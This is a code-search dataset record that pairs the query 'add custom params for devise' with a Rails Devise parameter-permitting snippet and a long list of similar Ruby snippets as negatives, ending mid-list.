[ "0.73038083", "0.73038083", "0.73038083", "0.73038083", "0.73038083", "0.73031163", "0.73031163", "0.7131175", "0.6948143", "0.6887849", "0.6665989", "0.6609538", "0.65759206", "0.6471909", "0.6441593", "0.64267904", "0.6413904", "0.63567764", "0.6238974", "0.6238974", "0.6238974", "0.6238974", "0.6238974", "0.6238974", "0.6238974", "0.62358344", "0.62353", "0.62321854", "0.6206738", "0.61705613", "0.61313015", "0.6129749", "0.6122432", "0.6077256", "0.60606664", "0.60282737", "0.6012223", "0.60109884", "0.60058224", "0.60036725", "0.60016465", "0.59952366", "0.5987778", "0.5950547", "0.59247994", "0.5919162", "0.5917287", "0.5911888", "0.5904068", "0.5900891", "0.58968824", "0.5892513", "0.5891345", "0.58912766", "0.5889906", "0.58753455", "0.587263", "0.5870419", "0.5848264", "0.5845908", "0.58432406", "0.58155835", "0.58107424", "0.58099616", "0.57961583", "0.57903385", "0.5789539", "0.578567", "0.578463", "0.5777863", "0.57706773", "0.575962", "0.57471585", "0.57349944", "0.57294005", "0.57231647", "0.56782323", "0.56670713", "0.56657606", "0.56645083", "0.5662603", "0.5658138", "0.56506354", "0.5642218", "0.5640649", "0.56387377", "0.5636329", "0.5636095", "0.56254154", "0.56251097", "0.5621934", "0.5621485", "0.56206644", "0.5609409", "0.560926", "0.56057423", "0.56047285", "0.560178", "0.5598544", "0.55980325", "0.5595501" ]
0.0
-1
add custom params for devise
def configure_permitted_parameters devise_parameter_sanitizer.permit(:sign_up, keys: %i[pseudo email password password_confirmation]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: custom_parameters)\n end", "def configure_sign_in_params\n # devise_parameter_sanitizer.for(:sign_in) << :attribute\n devise_parameter_sanitizer.permit(:sign_in, keys: [:user, :password])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :attribute\n\n # devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n # user_params.permit({ roles: [] }, :email, :password, :password_confirmation)\n # end\n end", "def configure_sign_up_params\n\n added_attrs = [:event_code, :email, :password, :password_confirmation, :contact_number,\n :full_name, :member_id, :member_type, :affiliation, :abo_number, :aes_number,\n :company, :id_number, :distributor_number, :employee_number, :mailing_address,\n :member_company, :upline, :who_invited_you, :abo_type, :distributor_type]\n\n devise_parameter_sanitizer.permit(:sign_up, keys: added_attrs)\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in).push(:username, :login, :domain)\n end", "def configure_params_create\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :password, :password_confirmation, :customer_id, :role_id])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [\n :name, :current_profession, :years_experience,\n :desired_profession, :desired_location, :work_status\n ]\n end", "def custom_params\n params.require(:custom).permit(:name, :password)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :created_at, :updated_at, :telefono, :sucursalt_id, :tipousuariot_id, :activo, :consorciot_id, :sucursalbt, :siglas, :direccion, :ciudadt_id, :provinciat_id, :zonat_id, :vendedor, :contacto, :supervisort_id, :colectort_id, :sociot_id, :gppt_id])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :age, :address, :pincode, :phone, :gender, :dob, :position_id])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "def configure_sign_in_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :company_id])\n devise_parameter_sanitizer.for(:sign_up).push(:company_id, :user_id)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:chapter_id, :role_id, :username, :password, :password_confirmation, :email, :phone, :first_name, :last_name_pss, :last_name_now, :gender, :full_time_student, :class_year, :profession, :middle_name]\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:preferred_party_id, :willing_party_id, :consent_news_email])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :mobile_auth_code\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :dob, :email, :password, :password_confirmation, :phone_number, :role_id])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) { |u| u.permit(:email, :password)}\n #devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation)}\n end", "def resource_params\n params.permit(devise_parameter_sanitizer.for(:sign_in))\n end", "def mobile_register_params\n params.permit(user: [:email, :password], experience: [:start_date, :end_date, :country_id, :committee_id])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in)# << :attribute\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up) {|u| u.permit(:codigo, :cedula, :nombre, :apellido1, :apellido2, :nacionalidad, :activo, :codigo, :email, :password, :password_confirmation)}\n \n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:mobile, :name])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:role_id,\n :store_name,\n :avatar,\n :name,\n :passport,\n :birthdate]\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :attribute\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up) do |params|\n #binding.pry\n #ユーザー(入力者)が新規登録をするとき変更できるのは、sign_up(deviseのデフォルト設定のカラム、emailやpasswordなど)に加え、追加した独自カラムnicknameとsexのみ変更を許可\n #加えて子モデルaddress_listのprefectures_master_idカラムのみ変更を許可\n params.permit(:sign_up, kays: [:last_name, :first_name, :last_name_kana, :first_name_kana, :phone_num, :user_flag, :user_status, address_attributes: [:post_num, :address, :shipping_address]])\n end\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:attribute, :first_name, :last_name, :terms_and_conditions, :profile_image]\n end", "def configure_perimitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys:[:fname, :lname, :username, :seller])\n devise_parameter_sanitizer.permit(:account_update, keys:[:fname, :lname, :username, :seller])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :soft_token\n end", "def configure_sign_up_params\n #devise_parameter_sanitizer.for(:sign_up) << :email, :password, :password_confirmation\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :picture, :bio, :username ) }\n\n devise_parameter_sanitizer.for(:account_update) << :bio\n devise_parameter_sanitizer.for(:account_update) << :role\n devise_parameter_sanitizer.for(:account_update) << :type\n devise_parameter_sanitizer.for(:account_update) << :picture\n devise_parameter_sanitizer.for(:account_update) << :username\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:api_key, :home_zip_code, :full_name, :found_option])\n end", "def configure_devise_params\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:first_name, :last_name, :email, :role, :password,\n :password_confirmation)\n end\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:first_name, :last_name, :email, :role, :password,\n :password_confirmation, :current_password)\n end\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:email, :password) }\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :mobile_number, :email, :country, :state,\n :city, :address, :sponsor_id, :dob])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:role, :first_name, :last_name, :company_name, :postal_code, :city, :province, :gender, :birth_date])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up,\n keys: [:face_image, :worker_number, :name, :name_kana, :trade_name, :phone, :address_zip, :address, :warehouse_zip, :warehouse, :warehouse_info, :inaba,\n :yodo, :takubo, :ykkap, :sankyo, :lixil])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up) {|u| u.permit(:email, :password, :password_confirmation, :role_id,\n :city_id, :identification, :name, :surname)}\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :first_name << :last_name << :phone_number\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name, :email, :password,\n :password_confirmation, :phone, :photo, :bio]\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: authentication_params(type: :sign_in))\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:fname, :lname, :avatar, :avatar_cache, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:firstname,:middlename,:lastname,:contact,:birthday,:gender, :bio, :username])\n end", "def permit_invite_code\n devise_parameter_sanitizer.for(:sign_up) << :invite_code\n end", "def configure_sign_up_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :password, :password_confirmation, :current_password, :names, :surnames, :area_of_residence_id, :area_of_interest_id])\n end", "def configure_sign_up_params\n\n devise_parameter_sanitizer.permit(:sign_up, keys: [:prenom, :nom, :email, :password, :password_confirmation])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname\n birth_date address type avatar phone_number])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email,:password,:remember_me])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, \\\n keys: %i[name date_of_birth username terms_of_service])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:nickname, :major_id])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :caterer_user])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:user_name, :budget, :img])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:username, :email)\n end\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << [:login, :username]\n end", "def user_params\r\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit( :name , :email, :password, :passord_confrimation)}\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :nationality_id ])\n end", "def user_params\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:zip, :address, :phone, :last_name, :first_name, :last_name_kana, :first_name_kana])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :password, :password_confirmation, :first_name, :last_name, :contact_number, :address, :suburb, :state, :postcode])\n #params.require(:user).permit(:email, :password, :password_confirmation, :first_name, :last_name, :contact_number, :address, :suburb, :state, :postcode)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [{ name_translations: [:en, :zh_HK] }, :display_name, :gender, :birthday, :mobile, :cuid_type, :cuid, :cu_resident, :major, :year_of_admission, :year_of_graduation])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(\n :sign_up, keys: authentication_params(type: :sign_up)\n )\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname birth_date\n address type document_number document_type_id\n avatar document_face_pic document_back_pic phone_number])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :phone, :workgroup, :timezone])\n params.require(:user).permit(:name, :email, :password, :password_confirmation, :phone, :timezone)\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :company_id, :birthday, :admin])\n end", "def configure_sign_in_params\n # devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n devise_parameter_sanitizer.permit(:sign_in) do |params|\n params.permit(:username, :password, :password_confirmation)\n end\n end", "def configure_devise_permitted_parameters\n registration_params = [:userid]\n\n if params[:action] == 'create'\n devise_parameter_sanitizer.for(:sign_up) do\n |u| u.permit(registration_params)\n end\n end\nend", "def configure_sign_up_params\n # devise_parameter_sanitizer.permit(:sign_up, :keys => [:username])\n devise_parameter_sanitizer.for(:sign_up) << :username\n end", "def configure_create_parameters\n devise_parameter_sanitizer.for(:sign_up) << :name\n devise_parameter_sanitizer.for(:sign_up) << :is_seller\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up,\n keys: [:name, :token, :game_id])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first, :last, :email, :password])\n end", "def configure_invite_params\n devise_parameter_sanitizer.permit(:invite, keys: [:email, :name, :username])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :username\n end", "def configure_permitted_parameters\n added_attrs = %i[phone email password_confirmation remember_me]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end", "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:sign_in, keys: [:longitude, :latitude])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name organization admin])\n end", "def additional_user_params\n params.require(:additional_user).permit(:first_name, :last_name, :email, :password, :role)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up).push(:username, :x, :y)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :invitation_code, :invitation_owner_id, :attribute])\n end", "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:dealer_code,\n :password,\n :password_confirmation,\n :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:dealer_code,\n :password,\n :remember_me) }\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name])\n end", "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:role])\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :name <<:grade\n end", "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:password_confirmation ,:password ,:email, :role, :avatar, :avatar_cache, :remove_avatar, :invite_code, :firstname, :lastname)}\n end" ]
[ "0.7017494", "0.6895326", "0.6883693", "0.6872567", "0.68681574", "0.6862797", "0.6852751", "0.6846426", "0.6839435", "0.683419", "0.6806807", "0.6782254", "0.6773923", "0.6756554", "0.67417514", "0.67369956", "0.6732237", "0.67236006", "0.6721076", "0.6709655", "0.669336", "0.6693123", "0.66841865", "0.6679781", "0.667949", "0.6675145", "0.6664177", "0.66593415", "0.6657261", "0.6651674", "0.6643375", "0.6641786", "0.6639324", "0.66351044", "0.6634895", "0.66223747", "0.66135097", "0.6597466", "0.65965", "0.65936965", "0.6590312", "0.65899974", "0.6584939", "0.6583723", "0.65824044", "0.65794986", "0.6566366", "0.6565941", "0.656152", "0.65615004", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.6557265", "0.65567786", "0.6556071", "0.65524125", "0.6547751", "0.6547667", "0.6547667", "0.65393263", "0.65367186", "0.6535181", "0.6533523", "0.65314287", "0.6518209", "0.65163875", "0.65146273", "0.65138835", "0.65118784", "0.65114784", "0.6504914", "0.6503503", "0.6499979", "0.6498796", "0.64970213", "0.6486748", "0.6482224", "0.6475704", "0.6474475", "0.64734304", "0.64691156", "0.64609814", "0.645033", "0.6448107", "0.6448075", "0.64477456", "0.6446965", "0.6446055", "0.6442201", "0.6437214", "0.64364064", "0.6435771", "0.6434072", "0.643318", "0.6432263" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_lead @lead = Lead.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def setup(&blk)\n @setup_block = blk\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.61637366", "0.60446453", "0.59452957", "0.591511", "0.58885515", "0.5834122", "0.57761765", "0.5702554", "0.5702554", "0.5652102", "0.5619581", "0.5423898", "0.5409782", "0.5409782", "0.5409782", "0.5394745", "0.53780794", "0.5356209", "0.5338898", "0.53381324", "0.5328622", "0.5309231", "0.5296901", "0.529641", "0.5296097", "0.5258364", "0.5242683", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.5236372", "0.52346426", "0.52320486", "0.5225926", "0.52210605", "0.52171826", "0.52138335", "0.5207914", "0.52069265", "0.5176269", "0.5174653", "0.51730466", "0.51650184", "0.5161409", "0.5156175", "0.5154185", "0.5151096", "0.5151089", "0.51452935", "0.5138662", "0.51339483", "0.5113475", "0.51132", "0.51132", "0.5108031", "0.51075375", "0.5090693", "0.50892115", "0.5081523", "0.5081454", "0.5064919", "0.50545585", "0.50531805", "0.50501585", "0.50501585", "0.50329936", "0.5024674", "0.50203156", "0.50156844", "0.50149846", "0.50011337", "0.4999346", "0.49984375", "0.4988749", "0.4988749", "0.49842322", "0.49800175", "0.4979922", "0.49791628", "0.49666047", "0.49655434", "0.49559638", "0.49557537", "0.49554902", "0.4953974", "0.49519545", "0.49449277", "0.49440357", "0.49329734", "0.49315402", "0.49261367", "0.4925912", "0.4925598", "0.4924306", "0.49202663", "0.49167567", "0.49164373", "0.4915191", "0.49145022", "0.49140996" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def lead_params params.require(:lead).permit(:customer, :sales, :area, :opp, :order) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n 